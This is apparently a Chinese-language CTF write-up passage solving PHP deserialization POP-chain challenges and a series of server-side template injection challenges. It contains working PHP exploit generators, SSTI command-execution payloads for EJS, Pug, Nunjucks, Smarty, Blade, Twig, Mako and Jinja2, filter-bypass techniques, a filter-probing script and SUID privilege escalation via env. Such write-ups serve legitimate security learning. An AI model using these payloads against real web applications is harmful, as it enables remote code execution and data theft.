flag 是在 Specter::__toString() 里返回的,所以目标很明确,就是先让 Specter 里的 $latch 变成 true,再想办法触发一次 __toString()。
先看入口,Fracture::__destruct() 会在对象销毁时执行 $this->delegate->disperse(),所以最外层可以放一个 Fracture 对象。接着让它的 $delegate 指向 Conduit,因为 Conduit::disperse() 会把 $this->handler 取出来赋给 $f,然后执行 $f()。
这说明 $handler 需要是一个可调用对象,所以这里放 Thunk。当对象被当作函数调用时,会触发 Thunk::__invoke(),而 __invoke() 里有一行 echo $this->operand。
于是只要再把 Thunk 的 $operand 设成 Specter 对象,echo 对象时就会自动触发 Specter::__toString()。最后把 Specter 的 $latch 改成 true,整条利用链就是 Fracture::__destruct() -> Conduit::disperse() -> Thunk::__invoke() -> Specter::__toString(),这样就能把 flag 打出来。
POC
<?php
class Fracture {
public $delegate = true;
}
class Specter {
public $latch = true;
}
class Thunk {
public $operand;
}
class Conduit {
public $handler;
}
$f = new Fracture();
$s = new Specter();
$c = new Conduit();
$t = new Thunk();
$t->operand = $s;
$c->handler = $t;
$f->delegate = $c;
echo urlencode(serialize($f));
?>
EZPOP_3
<?php
class Chrysalis {
public $vector;
public function __wakeup() {
if ($this->vector) {
$this->vector->catalyze();
}
}
public function __destruct() {
if ($this->vector) {
$this->vector->expunge();
}
}
}
class Pulsar {
public $token;
public function __invoke() {
echo $this->token;
}
}
class Stratum {
public $binding;
public function __call($name, $args) {
$f = $this->binding->$name;
return $f();
}
}
class Lattice {
public $facet;
public function expunge() {
if ($this->facet instanceof Sluice) {
$this->facet->drain();
}
}
public function catalyze() {
if ($this->facet) {
$this->facet->surge();
}
}
}
class Lexicon {
public $ambit;
public function __get($name) {
return $this->ambit;
}
}
class Mirage {
public $latch = false;
public $a;
public function __toString() {
if ($this->latch) {
eval($this->a);
return '';
}
return "no";
}
}
class Sluice {
public function drain() {
echo "decoy end\n";
}
}
highlight_file(__FILE__);
if (isset($_GET['data'])) {
unserialize($_GET['data']);
}
?>
这一题的入口在 Chrysalis::__wakeup(),因为 unserialize() 时会自动调用它,而里面执行的是 $this->vector->catalyze()。所以最外层对象可以先放成 Chrysalis,让反序列化一开始就进入链子。
接着让 Chrysalis 的 $vector 指向 Lattice。在 Lattice::catalyze() 里,会继续调用 $this->facet->surge()。这里如果把 $facet 设成 Stratum,由于 Stratum 本身没有 surge() 这个方法,就会触发 Stratum::__call()。
Stratum::__call() 里先执行 $f = $this->binding->$name。因为这里访问的是不存在的属性,所以只要把 $binding 指向 Lexicon,就会触发 Lexicon::__get(),并返回 $this->ambit。这样 $f 实际上就变成了我们可控的对象。
下一行是 return $f(),说明 $f 需要能被当作函数调用,所以把 Lexicon 的 $ambit 设成 Pulsar。对象形式调用会触发 Pulsar::__invoke(),而这个方法里有 echo $this->token。
这样一来,再把 Pulsar 的 $token 设成 Mirage 对象,echo 时就会自动触发 Mirage::__toString()。真正的危险点就在这里,只要 Mirage 的 $latch 为 true,就会执行 eval($this->a)。
因此最后只需要把 Mirage 的 $latch 设为 true,再把 $a 填成命令执行代码,整条链子就是 Chrysalis::__wakeup() -> Lattice::catalyze() -> Stratum::__call() -> Lexicon::__get() -> Pulsar::__invoke() -> Mirage::__toString() -> eval()。
POC
<?php
class Chrysalis {
public $vector;
}
class Pulsar {
public $token;
}
class Stratum {
public $binding;
}
class Lattice {
public $facet;
}
class Lexicon {
public $ambit;
}
class Mirage {
public $latch = true;
public $a = "system('cat /flag');";
}
class Sluice {
}
$c = new Chrysalis();
$p = new Pulsar();
$s = new Stratum();
$la = new Lattice();
$le = new Lexicon();
$m = new Mirage();
$sl = new Sluice();
$p->token = $m;
$c->vector = $la;
$la->facet = $s;
$le->ambit = $p;
$s->binding = $le;
echo urlencode(serialize($c));
?>
EZPOP_4
<?php
error_reporting(0);
class ObsidianSanctum {
public $note = "guest";
public $flareValue = "";
protected $gate = "";
private $echoer;
public function __destruct() {
if (md5(md5($this->note)) == md5($this->gate)) {
if (isset($this->echoer)) {
$this->echoer->flare = $this->flareValue;
}
}
}
}
class SpectralPrism {
public $engine;
public $payload;
public function __set($name, $value) {
if ($name === "flare" && $value === "ignite") {
$runner = $this->engine;
if (is_callable($runner)) {
$runner($this->payload);
} else {
die("Denied.\n");
}
}
}
}
class RuntimeScript {
public function __invoke($source) {
if (!is_string($source)) {
die("Denied.\n");
}
eval($source);
}
}
highlight_file(__FILE__);
if (isset($_GET['data'])) {
unserialize($_GET['data']);
}
?>
这一题的触发点在 ObsidianSanctum::__destruct()。析构时会先判断 md5(md5($this->note)) == md5($this->gate),只要让 $note = "1",再把 $gate 设成 md5("1"),也就是 c4ca4238a0b923820dcc509a6f75849b,这个条件就能成立。
条件通过之后,会继续判断 isset($this->echoer),然后执行 $this->echoer->flare = $this->flareValue。这里的关键是原类中的 $echoer 是 private,所以序列化时不能直接靠外部正常赋值,只能先用 public 占位生成序列化字符串,再把属性名替换成真正的私有属性名 \0ObsidianSanctum\0echoer。
接着看赋值目标,如果把 $echoer 指向 SpectralPrism,那么给不存在的属性 flare 赋值时,就会触发 SpectralPrism::__set()。而 __set() 里要求 $name === "flare" 且 $value === "ignite",所以把 ObsidianSanctum 的 $flareValue 设成 ignite 即可进入后续逻辑。
进入 __set() 后,代码会取出 $this->engine 赋给 $runner,并检查 is_callable($runner)。因此这里让 SpectralPrism 的 $engine 指向 RuntimeScript 对象,就能在后面的 $runner($this->payload) 里触发 RuntimeScript::__invoke()。
最后 RuntimeScript::__invoke() 会对传入的 $source 执行 eval(),所以只需要把 SpectralPrism 的 $payload 设成命令执行代码即可。整条利用链就是 ObsidianSanctum::__destruct() -> SpectralPrism::__set() -> RuntimeScript::__invoke() -> eval()。
POC
<?php
class ObsidianSanctum {
public $note = "1";
public $flareValue = "ignite";
protected $gate = "c4ca4238a0b923820dcc509a6f75849b";
public $echoer;
}
class SpectralPrism {
public $engine;
public $payload = "system('cat /flag');";
}
class RuntimeScript {
}
$o = new ObsidianSanctum();
$s = new SpectralPrism();
$r = new RuntimeScript();
$s->engine = $r;
$o->echoer = $s;
$data = serialize($o);
$data = str_replace('s:6:"echoer";', 's:23:"' . "\0ObsidianSanctum\0echoer" . '";', $data);
echo urlencode($data);
?>
EZPOP_5
<?php
class ChronoVault {
public $memo = "guest";
protected $token = "none";
private $isAdmin = false;
public $bridge;
public function __wakeup() {
$this->token = "none";
$this->isAdmin = false;
}
public function __destruct() {
if ($this->isAdmin && $this->token === "QCCTFyyds" && isset($this->bridge)) {
$this->bridge->fire($this->memo);
}
}
}
class DirectiveEngine {
public $sandbox;
public function __invoke() {
return ($this->sandbox)();
}
}
class EventBridge {
public $engine;
public function __call($name, $args) {
return ($this->engine)();
}
}
class ExecutionSandbox {
public $script;
public function __invoke() {
if (preg_match("/flag/i", $this->script)) {
die("Denied.\n");
}
eval($this->script);
}
}
highlight_file(__FILE__);
if (isset($_GET['data'])) {
unserialize($_GET['data']);
}
?>
这一题的关键卡点在 ChronoVault::__wakeup()。正常情况下,反序列化时会把 $token 重置成 none,再把 $isAdmin 重置成 false,这样析构时的条件就永远进不去。
但题目环境是老版本 PHP,可以利用 CVE-2016-7124 这一类 __wakeup() 绕过。做法就是先正常构造对象,再把序列化结果里 ChronoVault 的属性数量从真实的 4 改成更大的值,让 unserialize() 时跳过 __wakeup(),这样我们伪造进去的 $token 和 $isAdmin 就能保留下来。
条件保住之后,ChronoVault::__destruct() 会执行 $this->bridge->fire($this->memo)。EventBridge 里并没有 fire() 这个方法,所以这里会自动触发 EventBridge::__call(),而 __call() 里直接执行的是 ($this->engine)()。
这说明 engine 只需要是一个可调用对象即可,因此最短链就是让 EventBridge 的 $engine 直接指向 ExecutionSandbox。因为 ExecutionSandbox 本身实现了 __invoke(),所以对象函数调用时会直接进入 ExecutionSandbox::__invoke()。
最后的利用点就在 ExecutionSandbox::__invoke() 里的 eval($this->script)。虽然代码会用 preg_match("/flag/i", $this->script) 过滤掉直接出现的 flag,但这题实际不需要命令执行去读文件,因为 flag 就在 phpinfo() 的输出里,所以把 $script 设成 phpinfo(); 即可。
整条链子就是:绕过 ChronoVault::__wakeup(),保留伪造的 $token 和 $isAdmin,然后在 ChronoVault::__destruct() 里触发 EventBridge::__call(),再进入 ExecutionSandbox::__invoke(),最终通过 eval() 执行 phpinfo();。
POC
<?php
class ChronoVault {
public $memo = "guest";
protected $token = "QCCTFyyds";
private $isAdmin = true;
public $bridge;
}
class EventBridge {
public $engine;
}
class ExecutionSandbox {
public $script = "phpinfo();";
}
$o = new ChronoVault();
$b = new EventBridge();
$s = new ExecutionSandbox();
$b->engine = $s;
$o->bridge = $b;
$data = serialize($o);
$data = preg_replace('/^O:\d+:"ChronoVault":4:/', 'O:11:"ChronoVault":5:', $data);
echo urlencode($data);
?>
EZPOP_6
<?php
//经常做复杂的链子对身体不好,我们来个简单的吧
$flag = file_get_contents("/flag");
class A {
public $obj;
public function __destruct() {
if (is_object($this->obj)) {
echo $this->obj;
}
}
}
class B {
public $data;
public function __toString() {
return $this->data->run();
}
}
class C {
public $qcctf = "nope";
public function run() {
if ($this->qcctf === "get_flag") {
return $GLOBALS['flag'];
}
return "";
}
}
highlight_file(__FILE__);
if (isset($_GET['data'])) {
$data = str_replace("flag", "", $_GET['data']);
@unserialize($data);
}
?>
这一题的链子非常短,入口就在 A::__destruct()。对象销毁时,如果 $obj 还是一个对象,就会执行 echo $this->obj,而 echo 对象时会自动触发 __toString()。
所以第一步就是让 A 的 $obj 指向 B。这样在 A::__destruct() 里输出 B 对象时,就会进入 B::__toString()。而 B::__toString() 里直接调用的是 $this->data->run(),因此再让 B 的 $data 指向 C 对象,就能继续进入 C::run()。
真正返回 flag 的条件在 C::run() 里,只有当 $qcctf === "get_flag" 时,才会返回 $GLOBALS['flag']。如果直接把这个值写成 get_flag,传参时会被外层的 str_replace("flag", "", $_GET['data']) 删掉,导致反序列化后的属性值不对。
不过这里的过滤发生在 unserialize() 之前,所以可以反过来利用这一点。只要先把序列化串里的 get_flag 替换成 get_flflagag,服务端在执行 str_replace("flag", "", $_GET['data']) 之后,就会把中间那段 flag 删掉,最终还原成真正想要的 get_flag。
这样一来,整条链子就是 A::__destruct() -> B::__toString() -> C::run(),同时利用前置的字符串替换把 $qcctf 修正回 get_flag,最后就能正常拿到 flag。
POC
<?php
class A {
public $obj;
}
class B {
public $data;
}
class C {
public $qcctf = "get_flag";
}
$a = new A();
$b = new B();
$c = new C();
$b->data = $c;
$a->obj = $b;
$poc = serialize($a);
$data = str_replace("flag","flflagag" , $poc);
echo $data;
?>
EZPOP_7
<?php
class Vault {
public $name;
protected $id;
private $age;
public function setAge($age) {
$this->age = $age;
}
public function getAge() {
return $this->age;
}
public function __invoke($id) {
$name = $this->id;
$name->name = $id;
$name->age = $this->name;
}
}
class VaultA extends Vault {
public function __destruct() {
echo file_get_contents('/secret.txt');
}
}
class VaultB extends Vault {
public function __set($key, $value) {
$this->name = $value;
}
}
class VaultC extends Vault {
public function __check($age) {
$mix = serialize([$this->getAge(), $this->name]);
if (stripos($mix, "flag") !== false) {
die("Hacker!");
}
}
public function __wakeup() {
$age = $this->getAge();
$name = $this->id;
$name->setAge($age);
$name($this);
}
}
class VaultD extends Vault {
public $token = "none";
public function __invoke($obj) {
if (isset($obj->token) && $obj->token === "QCCTFyyds") {
if (is_string($obj->name) && stripos($obj->name, "flag") === false) {
eval($obj->name);
}
}
}
}
function is_printable($s) {
for ($i = 0; $i < strlen($s); $i++) {
if (!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) {
return false;
}
}
return true;
}
highlight_file(__FILE__);
if (isset($_GET['data'])) {
$data = $_GET['data'];
if (!is_printable($data)) {
die("Nope");
}
$obj = @unserialize($data);
if (!($obj instanceof VaultC)) {
die("Nope");
}
}
?>
这一题先看对可控 GET 变量 data 的限制。第一层限制是:
$data = $_GET['data'];
if (!is_printable($data)) {
die("Nope");
}
is_printable() 会逐字节检查传入字符串,要求所有字符都落在 ASCII 32 到 125 之间。问题在于,PHP 序列化 protected 和 private 属性时,会自动在属性名里插入不可见的空字节 \x00。这个字符的 ASCII 是 0,显然过不了 is_printable()。
绕过点就在 PHP 反序列化对大写 S 的处理上。普通字符串是小写 s,里面放的是真实字节;如果把它改成大写 S,就可以在字符串内容里使用转义形式。也就是说,原本会出现空字节的属性名可以从 s:5:"\x00*\x00id" 改写成 S:5:"\00*\00id",这样传输时看到的都是可见字符,但反序列化时 PHP 会把 \00 还原回真正的 \x00。
第二层限制是:
$obj = @unserialize($data);
if (!($obj instanceof VaultC)) {
die("Nope");
}
这说明最外层入口对象必须是 VaultC,所以整条链子必须从 VaultC::__wakeup() 起。
再看终点,真正的危险点在 VaultD::__invoke() 里的 eval():
if (isset($obj->token) && $obj->token === "QCCTFyyds") {
if (is_string($obj->name) && stripos($obj->name, "flag") === false) {
eval($obj->name);
}
}
这里要求传入的对象同时满足三个条件:一是有 token 属性且值严格等于 QCCTFyyds,二是 name 必须是字符串,三是 name 里不能直接出现 flag。所以我们最终要控制的其实就是 VaultC 对象本身,让它拥有:
$id = new VaultD()$token = "QCCTFyyds"$name = "system('cat /fla*');"
之所以把命令写成 cat /fla*,是因为 stripos($obj->name, "flag") === false 会拦截直接出现的 flag,但通配符形式不包含连续的 flag 字样,依然可以匹配到目标文件。
触发链也很直接。VaultC::__wakeup() 里先取出 $this->id 赋给 $name,然后执行:
$name($this);
如果让 $this->id 指向 VaultD 对象,那么这里就会触发 VaultD::__invoke(),而传进去的参数正是当前这个 VaultC 对象本身。这样 VaultD::__invoke() 看到的 $obj 就正好是我们伪造好的 VaultC。
所以这题其实不需要绕远链,最短利用路径就是:VaultC::__wakeup() -> VaultD::__invoke() -> eval()。难点不在链子,而在两个限制条件:一是入口对象必须是 VaultC,二是 protected 属性名里的空字节要靠大写 S 和 \00 绕过 is_printable()。
POC
<?php
class VaultC {
public $name = "system('cat /fla*');";
protected $id;
public function __construct() {
$this->id = new VaultD();
}
}
class VaultD {}
$a = new VaultC();
$a->token = "QCCTFyyds";
echo urlencode(serialize($a));
先生成普通序列化串,再把其中表示 protected 属性名的这一段:
s:5:"%00*%00id"
改成:
S:5:"\00*\00id"
也就是把小写 s 改成大写 S,同时把 %00 改成 %5C00,这样就能在保持全串可打印的前提下,让反序列化时还原出真正的 protected 属性名。
EZPOP_8
<?php
error_reporting(0);
final class StarRailCabin {
public $crewBadge;
public $catDoor;
public $needle;
public $haystack;
public function __destruct() {
if (isset($this->needle)) {
$n = (string)$this->needle;
if (strlen($n) > 5 || !is_numeric($n) || $n <= 999999) die("你行不行呀?");
$gate = $this->catDoor;
$gate->partner = "QingCen";
}
}
}
final class CatCafeGate {
public $fortuneTeller;
public $sparkler;
public function __set($name, $value) {
$oracle = $this->fortuneTeller;
if ($oracle() === "QingCen") {
$engine = $this->sparkler;
$engine();
}
}
}
final class KleeFirework {
public $spell;
public $scroll;
public function __invoke() {
$cast = $this->spell;
$words = $this->scroll;
$cast($words);
}
}
final class QingCen {
public static function echo_name() {
return "QingCen";
}
}
highlight_file(__FILE__);
$payload = $_GET["data_qc.bz2"];
if (isset($payload)) {
unserialize($payload);
} else {
echo "上传类型不对哦";
}
?>
上传类型不对哦
这一题的入口还是在 StarRailCabin::__destruct()。只要 $needle 被设置过,就会先把它强转成字符串赋给 $n,然后检查三个条件:长度不能大于 5,必须是数字,而且数值要大于 999999。
这几个条件放在一起看,其实是在逼我们构造一个“看起来长度不超过 5,但数值比较时又能大于 999999”的值,可以用科学记数法绕过。后面一旦通过检查,就会执行 $gate->partner = "QingCen",而 partner 在 CatCafeGate 里并不存在,所以这里会触发 CatCafeGate::__set()。
进入 CatCafeGate::__set() 之后,先取出 $this->fortuneTeller 赋给 $oracle,然后执行 $oracle()。因此这里需要让 $fortuneTeller 是一个可调用对象或可调用形式,并且返回值正好等于 QingCen。条件成立后,又会继续取出 $this->sparkler 赋给 $engine,再执行 $engine()。
这说明 $sparkler 也必须是一个可调用对象,所以最自然的做法就是放一个 KleeFirework 对象。因为 KleeFirework 实现了 __invoke(),对象函数调用时会进入 KleeFirework::__invoke(),然后取出 $spell 和 $scroll,执行 $cast($words)。
所以最后的利用点就在这里:把 $spell 设成一个可调用函数,把真正要执行的内容放进 $scroll,这样整条链子就会变成 StarRailCabin::__destruct() -> CatCafeGate::__set() -> KleeFirework::__invoke() -> $cast($words)。
这一题还有一个额外的坑,不在对象链本身,而在参数名。源码里取的是 $_GET["data_qc.bz2"],但 PHP 解析 GET 参数名时,空格、. 和 [ 都会参与特殊处理。正常直接传 data_qc.bz2=... 的话,参数名里的 . 会被转换成 _,最后进到 $_GET 里的键名就不是源码里要取的那个了。
解决办法就是把传入的变量名写成 data[qc.bz2。原因是 PHP 在解析参数名时,一旦遇到 [,就会把它当成数组语法的开始,这样后面的 . 就不会再被转换掉。也就是说,题目虽然代码里写的是 $_GET["data_qc.bz2"],但真正传参时要用 data[qc.bz2 这个名字去卡住 PHP 的参数名解析规则。
POC
<?php
final class StarRailCabin {
public $catDoor;
public $needle = "5e555";
}
final class CatCafeGate {
public $fortuneTeller;
}
final class KleeFirework {
public $spell = "system";
public $scroll = "cat /flag;";
}
$s = new StarRailCabin();
$c = new CatCafeGate();
$k = new KleeFirework();
$c->fortuneTeller = $k;
$s->catDoor = $c;
echo serialize($s);
?>
EZSSTI
Node.js 的,<%= 7*7 %> 检测返回 49 ,是 EJS 引擎,直接读<%= global.process.mainModule.require('child_process').execSync('cat /flag') %>。
EZSSTI_1
还是 Node.js ,#{7*7} 返回 49 ,是 Pug 引擎,#{global.process.mainModule.require('child_process').execSync('cat /flag')} 这里需要查看源代码找到 flag 。
EZSSTI_2
是 Nunjucks ,{{"".constructor.constructor("return this.process.mainModule.require('child_process').execSync('cat /flag').toString()")()}} 。
EZSSTI_3
用 whatweb 看一下是 php 的,测试是 Smarty ,{system('cat /flag')} 。
EZSSTI_4
还是 php 的,Blade 的,@php system("cat /flag"); @endphp 。
EZSSTI_5
还是 php ,Twig 的,{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("cat /flag")}} 。
EZSSTI_6
经过测试发现是 Mako 。${__import__('os').popen('cat /flag').read()} 。
EZSSTI_7
经过测试发现是 Jinja2 。{{"".__class__.__bases__[0].__subclasses__()}} 返回的有过滤,查看源代码找到返回的,用脚本找到os._wrap_close 是第141个,所以{{"".__class__.__bases__[0].__subclasses__()[141].__init__.__globals__['popen']('cat /flag').read()}}
EZSSTI_8
还是 Jinja2。还用上一题的,{{"".__class__.__bases__[0].__subclasses__()[141].__init__.__globals__['popen']('cat /flag').read()}}。
EZSSTI_9
还能出,{{"".__class__.__bases__[0].__subclasses__()[141].__init__.__globals__['popen']('cat /flag').read()}}。
EZSSTI_10
有过滤,写个脚本看看。
import requests
url = "http://docker.qingcen.net:41803/?id="
tests = [
"{{7*7}}",
"__class__",
"__base__",
"__subclasses__",
"__globals__",
"popen",
"os",
"import",
"eval",
"builtins",
"cat",
"/flag",
"self",
"session",
"lipsum",
"cycler",
"namespace",
"Joiner",
"get_flashed_messages",
]
def check(keyword):
payload = "{{" + keyword + "}}"
try:
r = requests.get(
url + requests.utils.quote(payload),
timeout=5
)
text = r.text
print("=" * 50)
print("测试:", keyword)
# 判断关键字是否被过滤
if keyword in text:
print("[+] 未过滤")
else:
print("[-] 可能被过滤")
# 常见过滤提示
filters = [
"危险关键字",
"禁止",
"illegal",
"forbidden",
"blocked",
"filter"
]
for f in filters:
if f.lower() in text.lower():
print("[!] 发现过滤提示:", f)
print("响应长度:", len(text))
except Exception as e:
print("请求错误:", e)
for t in tests:
check(t)
过滤了下面的
__class__ ================================================== __base__ ================================================== __subclasses__ ================================================== __globals__ ================================================== import ================================================== self ================================================== session ================================================== lipsum ================================================== cycler ================================================== namespace ================================================== Joiner ================================================== get_flashed_messages
url_for 没被过滤,用这个{{url_for.__globals__['os'].popen('cat /flag').read()}},这里面的关键字用 join 换一下。
globals dict(glob=a,al=b)|join
{{url_for[dict(__glob=a,als__=b)|join]['os'].popen('cat /flag').read()}}
EZSSTI_12
上一题还能用,{{url_for[dict(__glob=a,als__=b)|join]['os'].popen('cat /flag').read()}} 。
EZSSTI_13
cat /flag 没结果,但是命令是可以正常执行的,而且 static 目录也进不去。这里卡住了,看了下康可师傅的 wp ,得 suid 提权,同时队友说 env 有个 hint ,看一下。
HOSTNAME=29bee48b6372 OLDPWD=/opt/___web_very_strange_42___ PORT=80 HOME=/opt/___web_very_strange_42___ PYTHONUNBUFFERED=1 GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D PYTHON_SHA256=8d3ed8ec5c88c1c95f5e558612a725450d2452813ddad5e58fdb1a53b1209b78 WERKZEUG_SERVER_FD=3 PYTHONDONTWRITEBYTECODE=1 HINT=用我提个权吧 PATH=/usr/local/bin:/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin LANG=C.UTF-8 PYTHON_VERSION=3.11.14 PWD=/opt/___web_very_strange_42___
再结合康神的 wp ,预期解应该是 env 后看到提示,然后想到 suid 提权,然后用/usr/local/bin/env提权。
先找一下可以用来提权的。
{{url_for[dict(__glob=a,als__=b)|join]['os'].popen('find / -perm -4000 -type f 2>/dev/null').read()}}。
/usr/bin/mount /usr/bin/gpasswd /usr/bin/su /usr/bin/chsh /usr/bin/newgrp /usr/bin/chfn /usr/bin/umount /usr/bin/passwd /usr/local/bin/env
正好就有/usr/local/bin/env,所以{{url_for[dict(__glob=a,als__=b)|join]['os'].popen('/usr/local/bin/env cat /flag').read()}}。
EZSSTI_14
无回显,写入静态文件,{{url_for[dict(__glob=a,als__=b)|join]['os'].popen('mkdir -p /app/static;cat /flag > /app/static/1.txt 2>&1').read()}},再访问/static/1.txt。

评论区
评论加载中...